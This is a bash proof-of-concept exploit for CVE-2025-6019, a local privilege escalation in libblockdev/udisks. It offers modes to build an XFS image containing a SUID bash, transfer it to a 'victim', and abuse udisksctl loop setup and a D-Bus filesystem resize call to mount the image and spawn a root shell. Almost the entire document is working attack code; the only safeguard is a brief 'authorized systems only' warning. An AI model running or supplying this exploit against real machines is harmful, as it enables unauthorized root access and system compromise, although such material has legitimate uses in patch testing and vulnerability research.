#!/bin/bash # PoC for CVE-2025-6019: LPE via libblockdev/udisks # Author: 0xabdoulaye, Team Guinea Offensive Security # Modified to work without mkfs.xfs dependency check and with alias support # Function to check dependencies check_dependencies() { local deps=("dd" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp") for dep in "${deps[@]}"; do if ! command -v "$dep" &>/dev/null; then echo "[-] Error: Required tool '$dep' is not installed." exit 1 fi done echo "[+] All dependencies are installed." } # Function to check for vulnerable libblockdev/udisks check_vulnerability() { echo "[*] Checking for vulnerable libblockdev/udisks versions..." if command -v udisksctl &>/dev/null; then UDISKS_VERSION=$(udisksctl --version 2>/dev/null || echo "unknown") echo "[*] Detected udisks version: $UDISKS_VERSION" echo "[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown." echo "[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks." echo "[!] Continuing with PoC execution..." else echo "[-] Error: udisksctl not found. Ensure udisks2 is installed." exit 1 fi } # Function to create a 300 MB XFS image on local machine create_xfs_image() { echo "[*] Creating a 300 MB XFS image on local machine..." # Check for root privileges if [ "$(id -u)" -ne 0 ]; then echo "[-] Error: Root privileges required to create XFS image." exit 1 fi # Check if mkfs.xfs is available via alias or direct path if ! command -v mkfs.xfs &>/dev/null && [ ! -x "/sbin/mkfs.xfs" ]; then echo "[-] Error: mkfs.xfs not found. Try: alias mkfs.xfs='/sbin/mkfs.xfs' or install xfsprogs" exit 1 fi # Create 300 MB image echo "[*] Creating 300MB image file..." if ! dd if=/dev/zero of=./xfs.image bs=1M count=300 status=progress; then echo "[-] Error: Failed to create xfs.image." exit 1 fi # Format as XFS with default parameters echo "[*] Formatting as XFS filesystem..." if ! mkfs.xfs -f ./xfs.image; then echo "[-] Error: Failed to format xfs.image as XFS." rm -f ./xfs.image exit 1 fi # Create and mount directory echo "[*] Creating mount directory..." mkdir -p ./xfs.mount || { echo "[-] Error: Failed to create xfs.mount directory."; rm -f ./xfs.image; exit 1; } if ! mount -t xfs ./xfs.image ./xfs.mount; then echo "[-] Error: Failed to mount xfs.image." rm -rf ./xfs.image ./xfs.mount exit 1 fi # Verify sufficient space for /bin/bash BASH_SIZE=$(stat -c %s /bin/bash 2>/dev/null || echo 0) if [ "$BASH_SIZE" -eq 0 ]; then echo "[-] Error: /bin/bash not found or inaccessible." umount ./xfs.mount rm -rf ./xfs.image ./xfs.mount exit 1 fi AVAILABLE_SPACE=$(df --block-size=1 ./xfs.mount | tail -1 | awk '{print $4}') if [ "$AVAILABLE_SPACE" -lt "$BASH_SIZE" ]; then echo "[-] Error: Insufficient space on XFS image for /bin/bash ($BASH_SIZE bytes needed, $AVAILABLE_SPACE available)." umount ./xfs.mount rm -rf ./xfs.image ./xfs.mount exit 1 fi # Copy bash and set SUID echo "[*] Copying /bin/bash and setting SUID bit..." if ! cp /bin/bash ./xfs.mount/bash; then echo "[-] Error: Failed to copy /bin/bash." umount ./xfs.mount rm -rf ./xfs.image ./xfs.mount exit 1 fi if ! chmod 4755 ./xfs.mount/bash; then echo "[-] Error: Failed to set SUID on bash." umount ./xfs.mount rm -rf ./xfs.image ./xfs.mount exit 1 fi # Unmount if ! umount ./xfs.mount; then echo "[-] Error: Failed to unmount xfs.mount." rm -rf ./xfs.image ./xfs.mount exit 1 fi rm -rf ./xfs.mount echo "[+] 300 MB XFS image created: ./xfs.image" echo "[*] Transfer to target with: scp xfs.image @:" } # Function to exploit vulnerability on target exploit_target() { echo "[*] Starting exploitation on target machine..." # Check if mkfs.xfs alias is needed if ! command -v mkfs.xfs &>/dev/null && [ -x "/sbin/mkfs.xfs" ]; then echo "[*] Setting alias for mkfs.xfs..." alias mkfs.xfs="/sbin/mkfs.xfs" fi # Check allow_active status echo "[*] Checking allow_active status..." if ! gdbus call --system --dest org.freedesktop.login1 \ --object-path /org/freedesktop/login1 \ --method org.freedesktop.login1.Manager.CanReboot | grep -q "('yes',)"; then echo "[-] Error: allow_active status not obtained. Exploitation may fail." echo "[-] Try exploiting CVE-2025-6018 first if applicable." exit 1 fi echo "[+] allow_active status confirmed." # Check for xfs.image if [ ! -f ./xfs.image ]; then echo "[-] Error: xfs.image not found. Transfer it to the target first." echo "[*] You need to create xfs.image first using Local mode or transfer it via scp" exit 1 fi # Verify xfs.image integrity echo "[*] Verifying xfs.image integrity..." if ! file ./xfs.image | grep -q "XFS filesystem"; then echo "[-] Error: xfs.image is not a valid XFS filesystem." echo "[*] You need to create it first using:" echo " dd if=/dev/zero of=xfs.image bs=1M count=100" echo " mkfs.xfs xfs.image" echo " mount -t xfs xfs.image /mnt/tmp" echo " cp /bin/bash /mnt/tmp/bash" echo " chmod 4755 /mnt/tmp/bash" echo " umount /mnt/tmp" exit 1 fi # Stop gvfs-udisks2-volume-monitor echo "[*] Stopping gvfs-udisks2-volume-monitor..." killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || echo "[*] Note: gvfs-udisks2-volume-monitor was not running." # Set up loop device echo "[*] Setting up loop device..." LOOP_DEV=$(udisksctl loop-setup --file ./xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*') if [ -z "$LOOP_DEV" ]; then echo "[-] Error: Failed to set up loop device." exit 1 fi echo "[+] Loop device configured: $LOOP_DEV" # Keep filesystem busy echo "[*] Keeping filesystem busy to prevent unmounting..." while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null & LOOP_PID=$! echo "[+] Background loop started (PID: $LOOP_PID)" # Resize filesystem to trigger mount with retries echo "[*] Resizing filesystem to trigger mount..." for i in {1..3}; do gdbus call --system --dest org.freedesktop.UDisks2 \ --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' > gdbus_output.txt 2>&1 if grep -q "Error resizing filesystem" gdbus_output.txt; then echo "[+] Mount successful (expected error: target is busy)." break fi echo "[*] Attempt $i: Unexpected response during filesystem resize, retrying in 1 second..." echo "[*] gdbus output:" cat gdbus_output.txt echo "[*] Checking udisks2 service status..." systemctl status udisks2 --no-pager 2>/dev/null || echo "[*] udisks2 service not running or inaccessible." sleep 1 if [ $i -eq 3 ]; then echo "[-] Error: Failed to resize filesystem after 3 attempts." echo "[*] Debugging: Check udisks2 logs with 'journalctl -xe -u udisks2'" echo "[*] Manual check: Run 'mount | grep /tmp/blockdev' to verify mount." echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'" kill $LOOP_PID 2>/dev/null udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null rm -f gdbus_output.txt exit 1 fi done # Wait for mount to stabilize echo "[*] Waiting 2 seconds for mount to stabilize..." sleep 2 # Check for SUID bash with retries echo "[*] Checking for SUID bash in /tmp/blockdev*..." SUID_BASH="" for i in {1..5}; do SUID_BASH=$(find /tmp -maxdepth 2 -path "/tmp/blockdev*/bash" -perm -4000 -type f 2>/dev/null) if [ -n "$SUID_BASH" ]; then echo "[+] SUID bash found: $SUID_BASH" ls -l "$SUID_BASH" break fi echo "[*] Attempt $i: SUID bash not found, retrying in 1 second..." ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found." sleep 1 done if [ -z "$SUID_BASH" ]; then echo "[-] Error: SUID bash not found in /tmp/blockdev* after 5 attempts." echo "[*] Debugging: Final contents of /tmp/blockdev*" ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found." echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'" kill $LOOP_PID 2>/dev/null udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null rm -f gdbus_output.txt exit 1 fi # Execute SUID shell echo "[*] Executing root shell..." echo "[+] Attempting to get root shell with: $SUID_BASH -p" "$SUID_BASH" -p if [ $? -eq 0 ]; then echo "[+] Exploitation successful! Root shell obtained." echo "[*] Background loop (PID: $LOOP_PID) and mount left running to preserve SUID binary." echo "[*] SUID bash remains at: $SUID_BASH" echo "[*] To clean up manually, run:" echo " kill $LOOP_PID 2>/dev/null" echo " sudo umount /tmp/blockdev* 2>/dev/null" echo " sudo udisksctl loop-delete --block-device $LOOP_DEV 2>/dev/null" echo " rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null" else echo "[-] Error: Failed to execute SUID shell." # Perform cleanup on failure echo "[*] Performing cleanup..." kill $LOOP_PID 2>/dev/null umount /tmp/blockdev* 2>/dev/null udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null echo "[+] Cleanup completed." fi } # Function to create xfs image manually (alternative method) create_xfs_manual() { echo "[*] Manual XFS image creation method..." echo "[*] Step 1: Create blank image file" dd if=/dev/zero of=xfs.image bs=1M count=100 echo "[*] Step 2: Format as XFS" # Check for mkfs.xfs if command -v mkfs.xfs &>/dev/null; then mkfs.xfs xfs.image elif [ -x "/sbin/mkfs.xfs" ]; then /sbin/mkfs.xfs xfs.image else echo "[-] Error: mkfs.xfs not found. Install xfsprogs or use alias" exit 1 fi echo "[*] Step 3: Create mount point and mount" mkdir -p /tmp/xfs_mount mount -t xfs xfs.image /tmp/xfs_mount echo "[*] Step 4: Copy bash and set SUID" cp /bin/bash /tmp/xfs_mount/bash chmod 4755 /tmp/xfs_mount/bash echo "[*] Step 5: Unmount" umount /tmp/xfs_mount rmdir /tmp/xfs_mount echo "[+] XFS image created successfully: xfs.image" } # Main script echo "====================================================" echo "PoC for CVE-2025-6019 (LPE via libblockdev/udisks)" echo "====================================================" echo "WARNING: Only run this on authorized systems." echo "Unauthorized use is illegal." echo "====================================================" check_dependencies check_vulnerability echo "" echo "Select mode:" echo "[1] Local: Create 300 MB XFS image (requires root)" echo "[2] Target: Exploit target system (run on victim)" echo "[3] Manual: Create XFS image manually" read -p "Choose option [1/2/3]: " choice case "${choice}" in 1) create_xfs_image ;; 2) exploit_target ;; 3) create_xfs_manual ;; *) echo "[-] Error: Invalid choice." exit 1 ;; esac